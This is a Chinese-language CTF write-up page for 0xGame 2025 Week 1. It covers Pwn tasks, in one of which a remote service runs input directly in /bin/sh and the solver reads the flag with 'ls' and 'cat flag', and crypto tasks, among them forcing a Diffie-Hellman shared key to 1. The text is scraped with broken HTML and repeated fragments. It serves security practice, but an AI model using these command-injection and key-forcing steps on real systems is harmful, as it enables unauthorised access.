工具链：uv</code> 创建虚拟环境并安装依赖</li>
主要函数说明：

evaluate(expr: str) -> int</code>：解析题目并返回计算结果；</li>
solve(debug: bool = False) -> str</code>：完成 1000 道题并执行 cat flag</code>。</li>
</ul>
</li>
</ul>
复现步骤</h4>
cd</span> "[0xGame]nc1-14164"</span></span>
uv</span> run python solution/solution.py</span></span></code></pre>
首轮运行会自动在当前目录创建 .venv</code> 并安装 pwntools</code>。脚本会输出最终 flag。</p>
过程记录</h4>

早期手工连线确认题目结构与反馈文字。</li>
编写快速正则脚本统计运算符，确认仅含 $+$、$-$、$x$。</li>
使用 pwntools.remote</code> 重复答题 1000 次，首次仅拿到祝贺语，随后推测服务开放了 shell，尝试发送 cat flag</code> 成功得到 flag。</li>
最终脚本运行时间约 65~70 秒，稳定通过。</li>
</ul>
结论</h4>
这是一个典型的“连问”脚本题，核心在于：</p>

快速解析并计算基础算术；</li>
处理大量交互而不丢包；</li>
识别终局提示并进一步执行命令拿到 flag。</li>
</ol>
题虽标注为 Pwn，但本质上是简单的交互自动化练习，难点在耐心与脚本正确性。</p>

0xGame nc1.ctfplus.cn:14099 Write-up</h3>
题目复现环境</h4>

目标地址：nc1.ctfplus.cn</code></li>
端口：14099</code></li>
官方提示：无附件，直连服务即可。</li>
本地复现命令：uv run python solution/solution.py</code></li>
</ul>
信息收集与推理过程</h4>

建立初始连接</strong>：先使用 nc</code> 发送任意字符串；服务端回显 /bin/sh: 1: <cmd>: not found</code>，表明后台直接把我们的输入喂给了一个 /bin/sh</code> 子进程。</li>
枚举文件系统</strong>：输入 ls</code> 得到根目录内容，出现 flag</code> 文件，推测 flag 即保存在此处。</li>
验证权限假设</strong>：继续执行 cat flag</code>，无任何额外限制，直接返回字符串 0xGame{test_your_nc_first}</code>。这说明服务端对子命令没有额外过滤，可以直接读取目标文件。</li>
</ol>
上述过程可以抽象成一次简单的命令注入模型。设服务端执行逻辑为
$$
\text{output} = \text{sh}(\text{user“+“cmd})
$$
只要我们提供的 cmd</code> 在 shell 中合法，该服务就会执行并返回结果。由于没有对敏感命令做黑名单拦截，直接读取 flag 即可。</p>
Exploit 步骤</h4>

连接：nc nc1.ctfplus.cn 14099</code></li>
获取文件列表：ls</code></li>
读取 flag：cat flag</code></li>
</ul>
自动化脚本</h4>
源码位于 solution/solution.py</code>，核心逻辑：</p>

使用 socket.create_connection</code> 建立 TCP 连接。</li>
发送命令 cat flag\n</code>。</li>
读取单个数据包并解码为字符串。</li>
</ol>
理论上 flag 长度有限（这里为 28 字符），一次 recv(4096)</code> 足够覆盖全部输出；若服务存在延迟，可在脚本中添加循环读取直到换行结束。</p>
运行方法</h4>
cd</span> "[0xGame]nc1-14099"</span></span>
uv</span> run python solution/solution.py</span></span></code></pre>
第一次执行 uv run</code> 会自动在当前目录创建 .venv</code> 并下载兼容的 Python 解释器。</p>
输出结果</h4>
0xGame{test_your_nc_first}</span></span></code></pre>总结</h4>
该题本质是确认远程服务直接执行我们输入的命令。在没有额外黑名单或沙箱限制的情况下，最直接的策略就是列目录并 cat flag</code>。虽然题目被归类为 Pwn，但实现上等价于裸命令执行。若面对更严苛的环境，可考虑：</p>

检测是否存在命令过滤并构造绕过 payload；</li>
通过环境变量或内置工具转储 flag；</li>
使用半交互脚本自动化方便批量验证。</li>
</ul>
在当前场景下，最优方案就是直接读取 flag，简单高效。</p>

Crypto</h2>
Prime-Modulus-RSA</h3>
题目分析</h4>

服务端生成一个 2025 bit 的素数 $n$，而非传统 RSA 的复合数。</li>
由于 $n$ 为素数，$\varphi(n) = n - 1$，可以直接求解私钥指数。</li>
明文构造为 flag || random</code> 共 253 字节，随后按大端转换为整数 $m$。</li>
密文以 little-endian 形式输出为 254 字节十六进制串。</li>
题目还包含 sha256(XXXX + suffix)</code> 的 PoW，不影响核心解法。</li>
</ul>
推导</h4>

公开参数：$n, e, c_{\text{hex}}$。</li>
先把密文转换回整数：$c = \text{int.from_bytes}(\text{bytes.fromhex}(c_{\text{hex}}), \text{little})$。</li>
私钥指数 $d \equiv e^{-1} \pmod{n-1}$。</li>
明文整数 $m \equiv c^d \bmod n$。</li>
将 $m$ 转回字节串，截取 0xGame{...}</code> 段即为 flag。</li>
</ol>
尝试过程</h4>

针对 PoW，可先离线编写暴力脚本求前缀，之后自动化读取参数。</li>
本地模拟验证：随机给定 flag，运行题面脚本得密文，再用解题脚本成功还原。</li>
需要注意 little-endian：如果直接把密文字符串看作大端，会得到错误结果。</li>
</ul>
解题脚本</h4>

solution/solution.py</code> 提供完整流程：读取 $n, e, c_{\text{hex}}$，解密并搜索 flag。</li>
结合 PoW solver 可实现端到端自动化。</li>
</ul>
Flag</h4>

在远程 nc1.ctfplus.cn 47036</code> 获取到的密文解密得到 0xGame{d4cf5685-acf2-43c3-806d-10c86934be91}</code>。</li>
</ul>

Mixed-Encoding</h3>
题目分析</h4>

flag 被拆成四段：

flag[0:25]</code> 使用 Base64。</li>
flag[25:50]</code> 转为十六进制字符串。</li>
flag[50:75]</code> 经过自定义 awaqaq</code> 映射：把字节串当作大端整数，用三进制表示，再把余数 $0,1,2$ 映射为 a,w,q</code>。</li>
flag[75:100]</code> 视作 little-endian 整数后求七次幂。</li>
</ol>
</li>
flag 原始编码为 gb2312</code>，并被随机填充到 100 字节。</li>
</ul>
逆向思路</h4>

Base64 和十六进制直接逆变换即可得到前 50 字节。</li>
awaqaq</code>：

遍历密文从低位开始，按三进制回推整数。</li>
将大整数用 $\text{to_bytes}(25, ‘big’)$ 还原为原始 25 字节。</li>
</ul>
</li>
对于七次幂部分，先计算整数七次整根：

对大整数 $C$，寻找 $r$ 使得 $r^7 = C$。</li>
使用二分/牛顿法求整根，验证 $r^7$ 恰好等于 $C$。</li>
将 $r$ 按 little-endian 解码回长度 25 的字节串。</li>
</ul>
</li>
拼接四段，再截断到 }</code> 为止，即 flag。</li>
</ol>
尝试记录</h4>

最初直接 gb2312</code> 解码失败，排查发现随机填充落在 }</code> 之后，引起非法字节。</li>
在脚本中改为先截断到第一个 }</code>，再进行解码，问题解决。</li>
验证 len(flag) = 100</code>，与题面约束一致。</li>
</ul>
解题脚本</h4>

solution/solution.py</code> 将四段解码流程整合，并带有整数七次根函数，执行后直接输出旗帜。</li>
</ul>
Flag</h4>

0xGame{欢迎来到0xGame2025，现在你已经学会Crypto的基本知识了，快来试试更难的挑战吧！}</code></li>
</ul>

Vigenere-Nonlinear</h3>
题目分析</h4>

字母表同样是 94 个可打印字符。</li>
加密规则改为 $c_i = \text{alphabet}[((p_i + k_j) \times p_i) \bmod 94]$，引入非线性项，导致直接逆向不唯一。</li>
flag 结构限定：以 0xGame{</code> 开头，以 }</code> 结尾，中间全部为小写字母。</li>
</ul>
思路推导</h4>

对于每个位置，列举所有满足公式的 $p_i$。</li>
前缀、后缀约束用于立即剪枝：

位置 $0\ldots6$ 必须匹配 0xGame{</code>。</li>
最后一位必须是 }</code>。</li>
中间部分仅允许 a\ldots z</code>。</li>
</ul>
</li>
仍存在歧义时，使用英语频率打分函数挑选最自然的字符串。</li>
</ol>
尝试过程</h4>

先写脚本枚举 $
{x \mid ((x + b)x \bmod 94) = t}$，发现部分位置有 2~4 个候选。</li>
应用 flag 结构约束后候选数显著下降，仅剩 8 条可能。</li>
进一步采用常见字母频率评分，excellent</code> 获得最高得分，且能重加密回原密文，验证无误。</li>
</ul>
解题脚本</h4>

solution/solution.py</code> 完整实现上述枚举与评分逻辑，输出唯一的最佳候选。</li>
</ul>
Flag</h4>

0xGame{excellent}</code></li>
</ul>

Diffie-Hellman-Backdoor</h3>
题目分析</h4>

服务端执行一次 Diffie-Hellman 密钥协商：随机选取素数 $p$、生成元 $g$，以及 Alice 的私钥 $a$。</li>
用户需提交 Bob 的公钥 $B$，随后服务端用 $s = B^a \bmod p$ 派生共享密钥，再通过 $\text{AES-ECB}$ 加密 flag。</li>
题目禁止 $B = A$，但未限制其他取值。</li>
</ul>
核心漏洞</h4>

选择 $B = 1$ 时，共享密钥 $s = 1^a \equiv 1 \pmod p$，与 $a$、$p$、$g$ 无关。</li>
因此密钥恒定：$k = \text{SHA256}(\text{long_to_bytes}(1))$。</li>
得到密文后，使用该固定密钥即可直接解密。</li>
</ul>
数学推导</h4>

Diffie-Hellman 协商：$A = g^a \bmod p$、$B = g^b \bmod p$、$s = g^{ab} \bmod p$。</li>
当攻击者伪造 $B = 1$ 时，相当于 $b = 0$，故 $s = g^{a \cdot 0} = 1$。</li>
由于服务端只检查 $B \neq A$，仍会接受该输入。</li>
</ul>
实际利用流程</h4>

连接到题目服务，读取参数 $p, g, A$。</li>
提交 1</code> 作为 Bob 的公钥。</li>
读取加密后的 flag（十六进制）。</li>
计算 $k = \text{SHA256}(1)$，用 AES-ECB 解密并 unpad</code>。</li>
</ol>
尝试记录</h4>

本地模拟时自定义 secret.flag</code>，验证提交 1</code> 后可成功解密得到原 flag。</li>
真实环境仅需替换输入的密文即可。</li>
</ul>
解题脚本</h4>

solution/solution.py</code> 会从标准输入读取密文十六进制串，内部固定密钥后输出明文。</li>
若直接与远端交互，可借助 pwntools</code>/telnet</code> 先拿到密文，再喂给脚本解密。</li>
</ul>
Flag</h4>

远端 nc1.ctfplus.cn 29844</code> 返回的密文解密得到 0xGame{70276d88-2972-4bbc-9bcf-429e1f17540a}</code>。</li>
</ul>

Vigenere-Classic</h3>
题目分析</h4>

明文字母表为 digits + ascii_letters + punctuation</code>，共 10 + 52 + 32 = 94 个字符。</li>
使用固定密钥 Welcome-2025-0xGame</code> 做经典维吉尼亚加密：$c_i = \text{alphabet}[(p_i + k_j) \bmod 94]$。</li>
密文已给定，可直接按公式逆向。</li>
</ul>
推导与解法</h4>

对每个字符，偏移量 $\text{bias} = \text{alphabet.index}(k_j)$。</li>
解密时：$p_i = \text{alphabet}[(c_i - \text{bias}) \bmod 94]$。</li>
密钥循环使用，恢复明文即 flag。</li>
</ul>
尝试记录</h4>

先确认密钥与字母表长度，手动算出 94。</li>
编写脚本逐字符逆向，首字母就恢复出 0</code>，符合 CTF flag 风格。</li>
验证完整结果为 0xGame{...}</code>，与期待一致。</li>
</ol>
解题脚本</h4>

solution/solution.py</code> 实现上述解密流程，直接输出 flag。</li>
</ul>
Flag</h4>

0xGame{you_learned_vigenere_cipher_2df4b1c2e3}</code></li>
</ul>

RSA-FactorDB</h3>
题目分析</h4>

服务端生成两个 256 bit 素数 $p, q$，构造 $n = p \times q$ 和公共指数 $e = 65537$，使用 RSA 加密 flag。</li>
脚本把 $n$、$c$ 直接打印出来，因此是典型的 RSA 解密题。</li>
两个素数都不大（512 bit 模数），可直接在 FactorDB 上查到分解结果。</li>
</ul>
解决思路与推导</h4>

记 $
\phi(n) = (p-1)(q-1)$。</li>
解密指数为 $d \equiv e^{-1} \pmod{\phi(n)}$，可用扩展欧几里得算法或 Crypto.Util.number.inverse</code> 计算。</li>
明文整数 $m \equiv c^d \pmod{n}$。</li>
使用 long_to_bytes(m)</code> 还原字节串。</li>
</ol>
尝试过程</h4>

首先将题目中的 $n$ 粘贴到 FactorDB，立即得到素因数 $p$、$q$。</li>
使用 Sage/Python 验证 $p \times q = n$，并计算 $\phi(n)$、$d$。</li>
解密后得到明文字节串，转换为 ASCII 即 flag。</li>
</ul>
解题脚本</h4>

见 solution/solution.py</code>，直接写死题面给出的 $n, c, p, q$，执行即可复现。</li>
</ul>
Flag</h4>

0xGame{F4ct0rDB_1s_usefu1_r19ht?}</code></li>
</ul>
正规子群 - CTF

0xGame 2025 Week1 WriteUp

OSINT</h2>

解题思路</h4>

Web</h2>

Rubbish_Unser Writeup</h3>

留言板_reVenge Writeup</h3>

Http的真理，我已解明 Writeup</h3>

RCE1 Writeup</h3>

2. 根因分析与形式化抽象</h4>

利用链总体思路</h4> 对象污染（Object Pollution）</li> </ol> 通过 POST /</code> 发送 JSON，利用 Game0x.__init__.__globals__</code> 链拿到模块全局，再取到 app</code> 实例并修改其属性。例如：</p>

Lemon Writeup</h3>

misc</h2>

ezShell_PLUS 解题报告</h3>

Do_not_enter 解题报告</h3>

Zootopia 解题报告</h3>

公众号原稿 解题报告</h3>

ez_Shell 解题报告</h3>

Sign_in 解题报告</h3>

总结</h4> 题目考察了对基础编码与经典移位密码的识别。一步步拆解编码层次、验证偏移量即可快速复原 flag。</p>

RE</h2>

Pwn</h2>

0xGame ROP2 Write-up</h3>

0xGame ROP1 Write-up</h3>

题目与附件</h4> 当前目录附带可执行文件 task/stack-overflow</code>（64 位 ELF，非 PIE）。我们只需直接打远程即可，不需要本地调试也能完成；但为了稳妥，我先做了快速静态分析确定思路与偏移。</p>

0xGame nc1.ctfplus.cn:14164 数学连问 Write-up</h3>

0xGame nc1.ctfplus.cn:14099 Write-up</h3>

公众号原稿解题报告</h3>

总结</h4>
题目考察了对基础编码与经典移位密码的识别。一步步拆解编码层次、验证偏移量即可快速复原 flag。</p>

题目与附件</h4>
当前目录附带可执行文件 `task/stack-overflow</code>（64 位 ELF，非 PIE）。我们只需直接打远程即可，不需要本地调试也能完成；但为了稳妥，我先做了快速静态分析确定思路与偏移。</p>`
